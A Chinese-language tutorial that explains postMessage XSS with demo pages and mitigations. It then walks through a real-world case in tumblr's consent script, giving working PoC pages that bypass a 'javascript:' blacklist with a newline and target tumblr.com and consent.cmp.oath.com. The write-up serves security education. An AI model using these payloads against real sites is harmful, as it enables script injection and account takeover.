PostMessage：分析JS实现XSS

前言

PostMessage是一个用于在网页间安全地发送消息的浏览器 API。它允许不同的窗口（例如，来自同一域名下的不同页面或者不同域名下的跨域页面）进行通信，而无需通过服务器。通常情况下，它用于实现跨文档消息传递（Cross-Document Messaging），这在一些复杂的网页应用和浏览器插件中非常有用。

正文

在深入学习本文前，通过父子窗口间的消息传递示例代码+页面攻击效果带领读者了解必要的知识。

1、send.html通过 postMessage 函数向receive.html发送消息：

<!--send.html-->
<!DOCTYPE html>
<html>
<head>
    <title>发送界面</title>
    <meta charset="utf-8" />
    <script>
        function openChild() {
            child = window.open('receive.html', 'popup', 'height=300px, width=300px');
        }
        function sendMessage() {
            //发送的数据内容
            let msg = { content: "玲珑安全漏洞挖掘培训vx: bc52013" };
            //发送消息到任意目标源
            child.postMessage(msg, '*');
        }
</script>
</head>
<body>
    <input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' />
    <input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>

2、receive.html通过监听 message 事件来输出收到的消息：

<!--receive.html-->
<!DOCTYPE html>
<html>
<head>
    <title>接收界面</title>
    <meta charset="utf-8" />
    <script>
        //添加事件监控消息
        window.addEventListener("message", (event) => {
            let txt = document.getElementById("msg");
            //接收传输过来的变量数据
            txt.value = `接收到的消息为：${event.data.content}`;
        });
</script>
</head>
<body>
    <h1>接收界面（子窗口）</h1>
    <input type='text' id='msg' style='width: 400px; height: 50px;'/>
</body>
</html>

3、在send.html点击打开子窗口后弹出子窗口：

4、点击发送消息后，接收界面收到并且打印消息内容“玲珑安全漏洞挖掘培训vx: bc52013”

如上，通过PostMessage实现了父子窗口间的消息传递。

然而，若代码书写不规范将导致安全问题。

1、数据伪造

由于receive.html没有设置信任源，因此任意页面都可向该页面发送数据，导致数据伪造。

<!--数据伪造.html-->
<!DOCTYPE html>
<html>
<head>
    <title>数据伪造界面</title>
    <meta charset="utf-8" />
    <script>
        function openChild() {
            child = window.open('receive.html', 'popup', 'height=300px, width=300px');
        }
        function sendMessage() {
            //发送的数据内容
            let msg = { content: "ICE" };
            //发送消息到任意目标源
            child.postMessage(msg, '*');
        }
</script>
</head>
<body>
    <input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' />
    <input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>

如图，接收方本应接收到的消息为：

而在数据伪造界面打开子窗口并发送消息后，接收界面接收到伪造数据：

2、XSS

当发送参数可控且接收方处理不当时，将导致XSS。

例如，受害方接收一个可控的URL参数：

<!--受害方.html-->
<!DOCTYPE html>
<html>
<head>
    <title>受害方界面</title>
    <meta charset="utf-8" />
    <script>
        //添加事件监控消息
        window.addEventListener("message", (event) => {
            location.href=`${event.data.url}`;
        });
</script>
</head>
<body>
    <h1>受害方界面（子窗口）</h1>
</body>
</html>

于是可以构造恶意请求，实现XSS：

<!--攻击方实现XSS.html-->
<!DOCTYPE html>
<html>
<head>
    <title>攻击方实现XSS界面</title>
    <meta charset="utf-8" />
    <script>
        function openChild() {
            child = window.open('受害方.html', 'popup', 'height=300px, width=300px');
        }
        function sendMessage() {
            //发送的数据内容
            let msg = { url:"javascript:alert('玲珑安全漏洞挖掘培训')" };
            //发送消息到任意目标源
            child.postMessage(msg, '*');
        }
</script>
</head>
<body>
    <input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' />
    <input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>

在攻击方界面打开子窗口：

点击发送消息后，受害方执行JS代码：

同时，当页面中不包含X-Frame-Options标头时，还可利用标签嵌套受害方页面并传递可控参数，以执行JS代码：

<!-- 攻击方: hacker.html -->
<!DOCTYPE html>
<html>
<head>
    <title>XSS-iframe</title>
</head>
<body>
    <iframe name="attack" src="http://127.0.0.1/user.html" onload="xss()"></iframe>
</body>
<script type="text/javascript">
    var iframe = window.frames.attack;
    function xss() {
        let msg = {url: "javascript:alert(document.domain)"};
        iframe.postMessage(msg, '*');
    }
</script>
</html>

攻击效果如图：

漏洞危害如下：
（i）窃取用户敏感数据（个人数据、消息等）
（ii）窃取 CSRF 令牌并以用户的名义执行恶意操作
（iii）窃取账户凭证并接管用户账户

修复缓解方案：

1、发送方应验证目标源，确保消息只能被预期的接收方处理：

接收方应使用指定的信任域：

此时，点击发送消息后，受害方界面不再执行弹窗，因为攻击方指定的目标源是https协议，而受害方仅指定http://127.0.0.1为信任源：

当攻击方页面指定127.0.0.1的http协议时，由于攻击方页面与受害者页面均在该服务器上，因此能够实现XSS：

正文

进入tumblr.com，在cmpStub.min.js文件中存在如下函数，其不检查 postMessage 的来源：

!function() {
            var e = !1;
            function t(e) {
                var t = "string" == typeof e.data
                  , n = e.data;
                if (t)
                    try {
                        n = JSON.parse(e.data)
                    } catch (e) {}
                if (n && n.__cmpCall) {
                    var r = n.__cmpCall;
                    window.__cmp(r.command, r.parameter, function(n, o) {
                        var a = {
                            __cmpReturn: {
                                returnValue: n,
                                success: o,
                                callId: r.callId
                            }
                        };
                        e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")
                        //不检查来源，为后续测试提供可能性
                    })
                }
            }

代码功能：接收并解析 JSON 数据 (e.data)，将其转换为 JavaScript 对象 (n)；执行 __cmpCall 中指定的命令和参数，并将执行结果封装成返回对象 a；最后通过 postMessage 方法将处理结果发送回消息来源。

跟进__cmp() 函数，查看应用程序对数据进行了何种处理：

if (e)
                return {
                    init: function(e) {
                        if (!l.a.isInitialized())
                            if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
                            p.uiUrl || p.organizationId)
                                if (c.a.isSafeUrl(p.uiUrl)) {
                                    p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
                                    g.setGdpr("S"),
                                    g.setPublisherId(p.organizationId)),
                                    (t = p.sharedConsentDomain) && r.a.init(t),
                                    s.a.setCookieDomain(p.cookieDomain);
                                    var n = s.a.getGdprApplies();
                                    !0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
                                    h(function(e) {
                                        e ? l.a.initializationComplete() : b(l.a.initializationComplete)
                                    }, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
                                        n || (e = !0),
                                        s.a.setIsUserInEU(e),
                                        e ? (g.setGdpr("L"),
                                        h(function(e) {
                                            e ? l.a.initializationComplete() : b(l.a.initializationComplete)
                                        }, !0)) : l.a.initializationComplete()
                                    })
                                } else
                                    c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)

可以看出，c.a.isSafeUrl(p.uiUrl))为真才将继续执行。

跟进isSafeUrl函数：

isSafeUrl: function(e) {
           return -1 === (e = (e || "").replace(" ",
           "")).toLowerCase().indexOf("javascript:")
    },

若p.uiUrl（即e）中存在javascript，则返回假。

所以这里是为了防止JS代码执行，而通常使用黑名单的防护方式是容易被绕过的。

那么传入的p.uiUrl参数后续会经过什么处理呢？

在上面的代码中，还存在该行代码：

e ? l.a.initializationComplete() : b(l.a.initializationComplete)

跟进b()函数：

b = function(e) {
            g.markConsentRenderStartTime();
            var n = p.uiUrl ? i.a : a.a;
            l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
                p.consentString = t,
                n.renderConsents(p, function(n, t) {
                    g.setType("C").setGdprConsent(n).fire(),
                    w(n),
                    "function" == typeof e && e(n, t)
                })
            }) : n.renderConsents(p, function(n, t) {
                g.setType("C").setGdprConsent(n).fire(),
                w(n),
                "function" == typeof e && e(n, t)
            })

再跟进关键的renderConsents() 函数：

renderConsents: function(n, p) {
                if ((t = n || {}).siteDomain = window.location.origin,
                r = t.uiUrl) {
                    if (p && u.push(p),
                    !document.getElementById("cmp-container-id")) {
                        (i = document.createElement("div")).id = "cmp-container-id",
                        i.style.position = "fixed",
                        i.style.background = "rgba(0,0,0,.5)",
                        i.style.top = 0,
                        i.style.right = 0,
                        i.style.bottom = 0,
                        i.style.left = 0,
                        i.style.zIndex = 1e4,
                        document.body.appendChild(i),
                        (a = document.createElement("iframe")).style.position = "fixed",
                        a.src = r,
                        a.id = "cmp-ui-iframe",
                        a.width = 0,
                        a.height = 0,
                        a.style.display = "block",
                        a.style.border = 0,
                        i.style.zIndex = 10001,
                        l(),

可以看到该函数将创建iframe元素，而该元素的src属性就是我们可控的p.uiUrl。

综上所述，整体流程如下：

传入的数据进入cmp()函数处理 -> 处理时执行issafeurl函数判断数据是否合法 -> 若合法，则执行renderConsents()函数，构造iframe

知悉参数从传递到处理的流程后，即可构造Payload。

现在的目的是绕过isSafeUrl函数，而恰好，JavaScript 在处理字符串时，会忽略换行符、制表符等空白字符（无害脏数据）：

因此，依据__cmp() 函数，以JSON形式构造Payload如下：

{
    "__cmpCall": {
        "command": "init",
        "parameter": {
            "uiUrl": "ja\nvascript:alert(document.domain)",
            "uiCustomParams": "ice",
            "organizationId": "ice",
            "gdprAppliesGlobally": "ice"
        }
    }
}

使用iframe嵌套受攻击页面：

<html>
    <body>
        <script>
            window.setInterval(function(e) {
                try {
                    window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}", "*");
                } catch(e) {}
            }, 100);
</script>
        <iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>
    </body>
</html>

成功实现XSS：

以上是页面中不包含X-Frame-Options标头的情况，导致我们能嵌套受攻击页面。

若页面中包含X-Frame-Options 标头，则我们不能嵌套受攻击页面。这种情况下，可通过 window.opener 实现两个浏览器选项卡之间的连接，再发送 postMessage 消息，实现XSS。

在tumblr.com页面存在X-Frame-Options标头，但也含有cmpStub.min.js文件的情况下，攻击代码如下所示：

<html>
<body>
<script>
function e() {
    window.setTimeout(function() {
        window.location.href = "https://www.tumblr.com/embed/post/";
    }, 500);
}
window.setInterval(function(e) {
    try {
        window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}","*");
    } catch(e) {}
}, 100);
</script>
<a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
</body>
</html>

成功实现XSS：